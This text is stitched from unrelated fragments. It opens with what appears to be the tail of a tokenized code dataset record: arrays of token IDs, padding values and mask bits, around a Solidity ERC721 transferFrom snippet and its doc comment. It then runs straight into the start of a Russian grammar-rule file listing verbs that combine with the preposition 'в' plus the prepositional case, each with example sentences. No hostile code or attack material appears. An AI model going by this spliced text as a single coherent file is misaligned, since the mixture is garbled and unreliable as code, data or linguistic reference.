2892,
12,
203,
10792,
15105,
203,
7734,
11272,
203,
203,
7734,
320,
715,
1291,
18,
4626,
5912,
12,
4631,
1887,
16,
276,
1769,
203,
203,
7734,
2078,
426,
586,
287,
273,
2078,
426,
586,
287,
18,
1289,
12,
71,
1769,
203,
203,
7734,
1278,
29084,
3245,
18,
542,
3032,
17631,
1060,
12,
203,
10792,
2236,
1887,
16,
203,
10792,
2236,
18,
266,
2913,
18,
1289,
12,
71,
13,
203,
7734,
11272,
203,
203,
7734,
3626,
453,
20736,
1957,
29084,
12,
266,
586,
1340,
16,
2236,
18,
1734,
11110,
16,
276,
16,
277,
397,
404,
1769,
203,
5411,
289,
203,
3639,
289,
203,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x3362229de7d2C1AF21BCa907626CE9ED84AE2928/sources/contracts/ERC721W.sol
|
* @dev Transfers `tokenId` token from `from` to `to`. WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. Requirements: - `from` cannot be the zero address. - `to` cannot be the zero address. - `tokenId` token must be owned by `from`. - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. Emits a {Transfer} event./
|
function transferFrom(
address from,
address to,
uint256 tokenId
) external override {
safeTransferFrom(from, to, tokenId);
}
| 9,635,802 |
[
1,
4625,
348,
7953,
560,
30,
380,
632,
5206,
2604,
18881,
1375,
2316,
548,
68,
1147,
628,
1375,
2080,
68,
358,
1375,
869,
8338,
9744,
30,
10858,
434,
333,
707,
353,
19169,
477,
11349,
16,
999,
288,
4626,
5912,
1265,
97,
17334,
3323,
18,
29076,
30,
300,
1375,
2080,
68,
2780,
506,
326,
3634,
1758,
18,
300,
1375,
869,
68,
2780,
506,
326,
3634,
1758,
18,
300,
1375,
2316,
548,
68,
1147,
1297,
506,
16199,
635,
1375,
2080,
8338,
300,
971,
326,
4894,
353,
486,
1375,
2080,
9191,
518,
1297,
506,
20412,
358,
3635,
333,
1147,
635,
3344,
288,
12908,
537,
97,
578,
288,
542,
23461,
1290,
1595,
5496,
7377,
1282,
279,
288,
5912,
97,
871,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
7412,
1265,
12,
203,
3639,
1758,
628,
16,
203,
3639,
1758,
358,
16,
203,
3639,
2254,
5034,
1147,
548,
203,
565,
262,
3903,
3849,
288,
203,
3639,
4183,
5912,
1265,
12,
2080,
16,
358,
16,
1147,
548,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// Сочетаемость глаголов (и отглагольных частей речи) с предложным
// паттерном.
// LC->07.08.2018
facts гл_предл language=Russian
{
arity=3
//violation_score=-5
generic
return=boolean
}
#define ГЛ_ИНФ(v) инфинитив:v{}, глагол:v{}
#region Предлог_В
// ------------------- С ПРЕДЛОГОМ 'В' ---------------------------
#region Предложный
// Глаголы и отглагольные части речи, присоединяющие
// предложное дополнение с предлогом В и сущ. в предложном падеже.
wordentry_set Гл_В_Предл =
{
rus_verbs:взорваться{}, // В Дагестане взорвался автомобиль
// вернуть после перекомпиляции rus_verbs:подорожать{}, // В Дагестане подорожал хлеб
rus_verbs:воевать{}, // Воевал во Франции.
rus_verbs:устать{}, // Устали в дороге?
rus_verbs:изнывать{}, // В Лондоне Черчилль изнывал от нетерпения.
rus_verbs:решить{}, // Что решат в правительстве?
rus_verbs:выскакивать{}, // Один из бойцов на улицу выскакивает.
rus_verbs:обстоять{}, // В действительности же дело обстояло не так.
rus_verbs:подыматься{},
rus_verbs:поехать{}, // поедем в такси!
rus_verbs:уехать{}, // он уехал в такси
rus_verbs:прибыть{}, // они прибыли в качестве независимых наблюдателей
rus_verbs:ОБЛАЧИТЬ{},
rus_verbs:ОБЛАЧАТЬ{},
rus_verbs:ОБЛАЧИТЬСЯ{},
rus_verbs:ОБЛАЧАТЬСЯ{},
rus_verbs:НАРЯДИТЬСЯ{},
rus_verbs:НАРЯЖАТЬСЯ{},
rus_verbs:ПОВАЛЯТЬСЯ{}, // повалявшись в снегу, бежать обратно в тепло.
rus_verbs:ПОКРЫВАТЬ{}, // Во многих местах ее покрывали трещины, наросты и довольно плоские выступы. (ПОКРЫВАТЬ)
rus_verbs:ПРОЖИГАТЬ{}, // Синий луч искрился белыми пятнами и прожигал в земле дымящуюся борозду. (ПРОЖИГАТЬ)
rus_verbs:МЫЧАТЬ{}, // В огромной куче тел жалобно мычали задавленные трупами и раненые бизоны. (МЫЧАТЬ)
rus_verbs:РАЗБОЙНИЧАТЬ{}, // Эти существа обычно разбойничали в трехстах милях отсюда (РАЗБОЙНИЧАТЬ)
rus_verbs:МАЯЧИТЬ{}, // В отдалении маячили огромные серые туши мастодонтов и мамонтов с изогнутыми бивнями. (МАЯЧИТЬ/ЗАМАЯЧИТЬ)
rus_verbs:ЗАМАЯЧИТЬ{},
rus_verbs:НЕСТИСЬ{}, // Кони неслись вперед в свободном и легком галопе (НЕСТИСЬ)
rus_verbs:ДОБЫТЬ{}, // Они надеялись застать "медвежий народ" врасплох и добыть в бою голову величайшего из воинов. (ДОБЫТЬ)
rus_verbs:СПУСТИТЬ{}, // Время от времени грохот или вопль объявляли о спущенной где-то во дворце ловушке. (СПУСТИТЬ)
rus_verbs:ОБРАЗОВЫВАТЬСЯ{}, // Она сузила глаза, на лице ее стала образовываться маска безумия. (ОБРАЗОВЫВАТЬСЯ)
rus_verbs:КИШЕТЬ{}, // в этом районе кишмя кишели разбойники и драконы. (КИШЕТЬ)
rus_verbs:ДЫШАТЬ{}, // Она тяжело дышала в тисках гнева (ДЫШАТЬ)
rus_verbs:ЗАДЕВАТЬ{}, // тот задевал в нем какую-то струну (ЗАДЕВАТЬ)
rus_verbs:УСТУПИТЬ{}, // Так что теперь уступи мне в этом. (УСТУПИТЬ)
rus_verbs:ТЕРЯТЬ{}, // Хотя он хорошо питался, он терял в весе (ТЕРЯТЬ/ПОТЕРЯТЬ)
rus_verbs:ПоТЕРЯТЬ{},
rus_verbs:УТЕРЯТЬ{},
rus_verbs:РАСТЕРЯТЬ{},
rus_verbs:СМЫКАТЬСЯ{}, // Словно медленно смыкающийся во сне глаз, отверстие медленно закрывалось. (СМЫКАТЬСЯ/СОМКНУТЬСЯ, + оборот с СЛОВНО/БУДТО + вин.п.)
rus_verbs:СОМКНУТЬСЯ{},
rus_verbs:РАЗВОРОШИТЬ{}, // Вольф не узнал никаких отдельных слов, но звуки и взаимодействующая высота тонов разворошили что-то в его памяти. (РАЗВОРОШИТЬ)
rus_verbs:ПРОСТОЯТЬ{}, // Он поднялся и некоторое время простоял в задумчивости. (ПРОСТОЯТЬ,ВЫСТОЯТЬ,ПОСТОЯТЬ)
rus_verbs:ВЫСТОЯТЬ{},
rus_verbs:ПОСТОЯТЬ{},
rus_verbs:ВЗВЕСИТЬ{}, // Он поднял и взвесил в руке один из рогов изобилия. (ВЗВЕСИТЬ/ВЗВЕШИВАТЬ)
rus_verbs:ВЗВЕШИВАТЬ{},
rus_verbs:ДРЕЙФОВАТЬ{}, // Он и тогда не упадет, а будет дрейфовать в отбрасываемой диском тени. (ДРЕЙФОВАТЬ)
прилагательное:быстрый{}, // Кисель быстр в приготовлении
rus_verbs:призвать{}, // В День Воли белорусов призвали побороть страх и лень
rus_verbs:призывать{},
rus_verbs:ВОСПОЛЬЗОВАТЬСЯ{}, // этими деньгами смогу воспользоваться в отпуске (ВОСПОЛЬЗОВАТЬСЯ)
rus_verbs:КОНКУРИРОВАТЬ{}, // Наши клубы могли бы в Англии конкурировать с лидерами (КОНКУРИРОВАТЬ)
rus_verbs:ПОЗВАТЬ{}, // Американскую телеведущую позвали замуж в прямом эфире (ПОЗВАТЬ)
rus_verbs:ВЫХОДИТЬ{}, // Районные газеты Вологодчины будут выходить в цвете и новом формате (ВЫХОДИТЬ)
rus_verbs:РАЗВОРАЧИВАТЬСЯ{}, // Сюжет фэнтези разворачивается в двух мирах (РАЗВОРАЧИВАТЬСЯ)
rus_verbs:ОБСУДИТЬ{}, // В Самаре обсудили перспективы информатизации ветеринарии (ОБСУДИТЬ)
rus_verbs:ВЗДРОГНУТЬ{}, // она сильно вздрогнула во сне (ВЗДРОГНУТЬ)
rus_verbs:ПРЕДСТАВЛЯТЬ{}, // Сенаторы, представляющие в Комитете по разведке обе партии, поддержали эту просьбу (ПРЕДСТАВЛЯТЬ)
rus_verbs:ДОМИНИРОВАТЬ{}, // в химическом составе одной из планет доминирует метан (ДОМИНИРОВАТЬ)
rus_verbs:ОТКРЫТЬ{}, // Крым открыл в Москве собственный туристический офис (ОТКРЫТЬ)
rus_verbs:ПОКАЗАТЬ{}, // В Пушкинском музее показали золото инков (ПОКАЗАТЬ)
rus_verbs:наблюдать{}, // Наблюдаемый в отражении цвет излучения
rus_verbs:ПРОЛЕТЕТЬ{}, // Крупный астероид пролетел в непосредственной близости от Земли (ПРОЛЕТЕТЬ)
rus_verbs:РАССЛЕДОВАТЬ{}, // В Дагестане расследуют убийство федерального судьи (РАССЛЕДОВАТЬ)
rus_verbs:ВОЗОБНОВИТЬСЯ{}, // В Кемеровской области возобновилось движение по трассам международного значения (ВОЗОБНОВИТЬСЯ)
rus_verbs:ИЗМЕНИТЬСЯ{}, // изменилась она во всем (ИЗМЕНИТЬСЯ)
rus_verbs:СВЕРКАТЬ{}, // за широким окном комнаты город сверкал во тьме разноцветными огнями (СВЕРКАТЬ)
rus_verbs:СКОНЧАТЬСЯ{}, // В Риме скончался режиссёр знаменитого сериала «Спрут» (СКОНЧАТЬСЯ)
rus_verbs:ПРЯТАТЬСЯ{}, // Cкрытые спутники прячутся в кольцах Сатурна (ПРЯТАТЬСЯ)
rus_verbs:ВЫЗЫВАТЬ{}, // этот человек всегда вызывал во мне восхищение (ВЫЗЫВАТЬ)
rus_verbs:ВЫПУСТИТЬ{}, // Избирательные бюллетени могут выпустить в форме брошюры (ВЫПУСТИТЬ)
rus_verbs:НАЧИНАТЬСЯ{}, // В Москве начинается «марш в защиту детей» (НАЧИНАТЬСЯ)
rus_verbs:ЗАСТРЕЛИТЬ{}, // В Дагестане застрелили преподавателя медресе (ЗАСТРЕЛИТЬ)
rus_verbs:УРАВНЯТЬ{}, // Госзаказчиков уравняют в правах с поставщиками (УРАВНЯТЬ)
rus_verbs:промахнуться{}, // в первой половине невероятным образом промахнулся экс-форвард московского ЦСКА
rus_verbs:ОБЫГРАТЬ{}, // "Рубин" сенсационно обыграл в Мадриде вторую команду Испании (ОБЫГРАТЬ)
rus_verbs:ВКЛЮЧИТЬ{}, // В Челябинской области включен аварийный роуминг (ВКЛЮЧИТЬ)
rus_verbs:УЧАСТИТЬСЯ{}, // В селах Балаковского района участились случаи поджогов стогов сена (УЧАСТИТЬСЯ)
rus_verbs:СПАСТИ{}, // В Австралии спасли повисшего на проводе коршуна (СПАСТИ)
rus_verbs:ВЫПАСТЬ{}, // Отдельные фрагменты достигли земли, выпав в виде метеоритного дождя (ВЫПАСТЬ)
rus_verbs:НАГРАДИТЬ{}, // В Лондоне наградили лауреатов премии Brit Awards (НАГРАДИТЬ)
rus_verbs:ОТКРЫТЬСЯ{}, // в Москве открылся первый международный кинофестиваль
rus_verbs:ПОДНИМАТЬСЯ{}, // во мне поднималось раздражение
rus_verbs:ЗАВЕРШИТЬСЯ{}, // В Италии завершился традиционный Венецианский карнавал (ЗАВЕРШИТЬСЯ)
